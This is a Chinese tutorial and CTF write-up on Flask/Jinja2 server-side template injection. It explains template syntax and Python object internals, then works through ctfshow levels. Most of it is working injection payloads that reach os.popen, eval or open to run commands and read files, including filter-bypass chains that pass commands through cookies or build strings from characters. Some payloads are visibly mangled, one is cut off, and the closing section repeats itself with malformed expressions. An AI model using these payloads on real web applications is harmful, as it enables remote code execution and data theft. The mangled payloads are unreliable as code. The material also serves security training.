参考文章
flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)
(51条消息) SSTI模板注入绕过(进阶篇)_ssti绕过_yu22x的博客-CSDN博客
https://blog.csdn.net/weixin_45669205/article/details/114373785
什么是SSTI?
SSTI(Server-Side Template Injection)是一种服务器端模板注入攻击,是指攻击者能够通过特定的输入,让服务器端的模板引擎执行攻击者构造的恶意代码,导致服务器受到攻击者控制。SSTI常出现在使用模板引擎的Web应用中,特别是当应用允许用户输入文本来渲染模板时,如果没有对用户输入进行充分的过滤和验证,就可能存在SSTI漏洞。
漏洞成因
ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
模板引擎
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。(就像是用wordpress做框架时,渲染引擎将你想要做的东西以html的形式呈现出来)
后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。
前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
服务器端渲染 :是指在服务器上生成HTML内容并将其发送给浏览器的过程
语法
官方文档对于Jinja2模板引擎的语法介绍如下
{% ... %} for Statements
{{ ... }} for Expressions to print to the template output
{# ... #} for Comments not included in the template output
# ... # for Line Statements
{% ... %}
用于模板中的语句,例如循环和条件语句,以及变量声明。{{ ... }}
用于模板中的表达式,例如变量引用和函数调用,以及将其结果打印到模板输出。{# ... #}
用于在模板中添加注释,这些注释不会包含在模板输出中。# ... #
用于单行语句,例如条件语句和循环语句,以及将其结果打印到模板输出,与{% ... %}
的效果相同。
{% set x= 'abcd' %} 声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %} 条件语句
一些基础知识
从别人的博客摘的
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
常用过滤器
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
ctfshow_ssti模块练习
第一关(Jinja2模板)
代码
from flask import Flask,request,render_template_string
#这一行导入了 Flask 库以及其中的 request 和 render_template_string 模块。
app = Flask(__name__)
#这一行创建了一个 Flask 应用实例,并将其存储在变量 app 中。__name__ 是一个特殊变量,它表示当前 Python 模块的名称。在这里,它被用作 Flask 应用的名称。
@app.route('/', methods=['GET', 'POST'])
#这是 Flask 应用程序装饰器,它将函数 index() 与 URL 路径 '/' 关联起来。methods=['GET', 'POST'] 意味着这个函数可以处理 GET 和 POST 请求。
def index():
#这是一个 Flask 视图函数,它接收客户端的请求并返回响应。
name = request.args.get('name')
#这行代码从请求中获取名为 'name' 的参数的值,并将其存储在变量 name 中
template = '''
<html>
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello, %s !</h3>
</body>
</html>
'''% (name)
#这是一个包含 HTML 代码的字符串,其中 %s 是一个占位符,表示在这个位置插入 name 变量的值。% (name) 会将 name 的值传递给字符串,用于替换 %s 占位符。
return render_template_string(template)
#这行代码将字符串 template 渲染为 HTML 页面,并将其作为响应返回给客户端。
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
#if __name__ == "__main__"语句是Python脚本中常用的一种写法,它允许脚本既可以作为一个模块被导入,又可以作为主程序直接执行。当脚本被直接执行时,if __name__ == "__main__"条件成立,其后的代码会被执行。在这个例子中,app.run(host="0.0.0.0", port=5000, debug=True)语句会启动一个本地Web服务器,监听5000端口,并开启调试模式,以便于开发时调试程序。
构建payload:
?name={{7*7}}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ruVjqP2Y-1678462612915)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230308203421598.png)]
说明诸如点是?name
构建payload:
?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
{{ ... }}
: 这个是Jinja2模板引擎的标志,表示要在这里执行Python代码。().__class__.__mro__
: 这个是Python中的特殊语法,它表示一个对象的方法解析顺序,也就是这个对象是如何继承自其它类的。[-1]
: 这个是Python中的特殊语法,它表示一个列表中的最后一个元素。__subclasses__()
: 这个是Python中的特殊方法,它可以返回一个类的所有子类。[132]
: 这个是一个子类的索引,它是通过测试找到的一个可用的子类。__init__
: 这个是Python中的特殊方法,它会在一个类的实例被创建时被调用。__globals__
: 这个是Python中的特殊属性,它可以返回当前作用域的全局变量字典。['popen']
: 这个是Python中的标准库os
的一个函数,它可以打开一个管道并执行一个命令。('cat /flag')
: 这个是要执行的命令,它会读取/flag
文件的内容。.read()
: 这个是popen
函数返回的管道对象的方法,它会读取命令执行后的输出。综上,这个payload的目的是利用Jinja2模板引擎的语法,动态地获取
os.popen
函数,并使用该函数执行cat /flag
命令,从而读取并输出/flag
文件的内容。
每个点符号的作用:
().__class__
:调用空元组对象的__class__
属性,获取该对象所属的类。.__mro__
:访问该类的方法解析顺序(即方法的调用顺序),返回一个元组类型。[-1]
:访问该元组的最后一个元素,即该类本身。.__subclasses__()
:访问该类的所有直接子类,并返回一个列表类型。[132]
:访问该列表的第133个元素,即该类的第133个子类。该位置的子类通常是一个比较常用的类,能够满足我们的需求。.__init__
:访问该子类的初始化方法,返回该方法的对象。.__globals__
:访问该方法所在作用域的全局变量字典。['popen']
:访问该字典中键名为'popen'
的值,即os.popen
函数。
在该payload中,我们的主要目的是执行命令cat /flag
来获取flag文件的内容。为了实现这一目的,我们需要调用Python标准库os
模块中的popen函数。而在Jinja2模板引擎中,为了获取全局作用域中的os
模块和popen
函数,我们需要通过访问某个特定子类的初始化方法对象来获取该方法所在作用域的全局变量字典,进而获取os
模块和popen
函数。具体而言,我们通过访问空元组对象的类的方法解析顺序(__mro__
属性)来获取所有的子类,然后通过索引获取到其中一个特定的子类,该子类的初始化方法对象(.__init__
属性)就是我们需要获取的对象。最后,我们通过访问该对象的.__globals__
属性来获取该方法所在作用域的全局变量字典,然后使用字典的方式来获取os.popen
函数对象,最终通过该函数对象来执行命令并获取结果。
1、先找基类object,用空字符串""来找
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
使用
?name={{"".__class__}}
,得到空字符串的类<class ‘str’>
点号. :python中用来访问变量的属性
__class__:类的一个内置属性,表示实例对象空字符串""的类。
然后使用?name={{“”.class.mro}}
(获取一个空字符串对象的类继承结构(MRO),其中 MRO 表示了该类的父类继承顺序。该代码运行后会返回一个元组,其中包含了空字符串对象的类以及其所有的父类,按照它们被继承的顺序排列。)
得到(<class ‘tuple’>, <class ‘object’>)
__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
然后再用?name={{().class.mro[-1]}},取得最后一个东西即空字符串的类的基类<class ‘object’>
或者使用?name={{“”.class.bases}},得到空字符串的类的基类<class ‘object’>
base 类型对象的直接基类
bases 类型对象的全部基类,以元组形式,类型的实例通常没有属性 bases
2、得到基类之后,找到这个基类的子类集合
使用?name={{().class.mro[1].subclasses()}}
subclasses() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag
这里使用其第133个类([0]是第一个类)<class ‘os._wrap_close’>
使用?name={{“”.class.mro[-1].subclasses()[132]}},得到<class ‘os._wrap_close’>
<class ‘os._wrap_close’> 这个类有个popen方法可以执行系统命令
4、实例化我们找到的类对象
使用?name={{“”.class.mro[-1].subclasses()[132].init}},实例化这个类
init 初始化类,返回的类型是function
5、找到这个实例化对象的所有方法
使用?name={{“”.class.mro[-1].subcla/sses()[132].init.globals}}
globals 使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。
6、根据方法寻找flag
?name={{().class.mro[-1].subclasses()[132].init.globals[‘popen’](‘cat /flag’).read()}}
popen()一个方法,用于执行命令
read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象
第二关(过滤1和3)
payload:
第一种、使用config
?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
第二种、直接用 lipsum 和 cycler 执行命令
?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}
第三种、利用url for
GET:?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
或者
?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
用了url_for函数的全局变量字典(globals)中的__builtins__对象,然后调用了eval函数来执行一段字符串作为Python代码。这段字符串使用了__import__函数来导入os模块,并调用了popen方法来执行一个系统命令(cat /flag),然后读取并返回命令的输出结果。
第四种、利用模板来跑循环
?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('cat /flag').read() %}{% endif %}{% endfor %}
使用了for循环和if条件来遍历’'(空字符串)对象的类(class)的祖先类(mro)的子类(subclasses()),然后找到名为_wrap_close的子类,并打印该子类的初始化方法(init)的全局变量字典(globals)中的popen函数调用结果。popen函数是用来执行一个系统命令并返回一个文件对象的,这里执行了cat /flag命令,并读取并打印了命令的输出结果。
第五种、
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
使用了x对象的__init__方法的全局变量字典中的__builtins__对象,然后调用了eval函数来执行一段字符串作为Python代码。这段字符串使用了__import__函数来导入os模块,并调用了popen方法来执行一个系统命令(cat /flag),然后读取并返回命令的输出结果
第三关(过滤 单双引号)
过滤了单双引号:
1.使用request.args.x1传递GET参数x1,从而避免单双引号的使用
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
2.不使用系统命令,还可以利用open函数直接打开读取文件的:
?name={{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.arg1](request.
第四关(过滤args、单双引号)
过滤了单双引号、args
用request.cookies.x1代替request.args.x1
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie传参:x2=__import__('os').popen('ls /').read();x1=__builtins__
第五关(过滤了引号,还有中括号)
request.cookies仍然可以用。
payload:
GET:?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
或者使用__str__[数字]进行字符串拼接
GET:?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}
第六关(过滤下划线)
lipsum可以用os命令{{lipsum.globals[‘os’].popen(‘ls’).read()}},再结合过滤器attr使用
这里用attr方法:request|attr(request.cookies.a)等价于request[“a”]
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
第七关(过滤了os)
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie:a=__globals__;b=os;c=cat /flag
第八关(过滤了{{)
使用{%%}进行绕过
?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}
Cookie:a=__globals__;b=os;c=cat /flag
第九关(过滤引号、args、中括号、下划线、os、花括号、request)
过滤引号、args、中括号、下划线、os、花括号、request
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
这里的原理是,给不同的变量赋值,然后拼接成我们想要的命令。
下面逐行分析
构造po="pop"
#利用dict()|join拼接得到。
#dict() 函数用于创建一个字典;join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
{% set po=dict(po=a,p=a)|join%}
a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}
构造ini="__init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
即chr=q.__init__.__global__.__getitem__.__builtins__.chr
构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
打印q.__init__.__global__.__getitem__.__builtins__.open(file).read())
第十关(过滤了数字)
1、全角数字绕过
把payload里的数字换成对应的全角数字:
‘0’,‘1’,‘2’,‘3’,‘4’,‘5’,‘6’,‘7’,‘8’,‘9’
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
2、构造数字,参考羽师傅的:
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
进行分析
几个c就代表几,比如c=1,ccc=3
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
用~拼接 构造coun=24
{% set coun=(cc~cccc)|int%}
同web369
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
t%}
同web369
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file=“/flag”
{% set file=chr((ccccccccccc)|int)%2bchr((cccccccccccc)|int)%2bchr((cccccccccccccccccc)|int)%2bchr((cccccccccccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}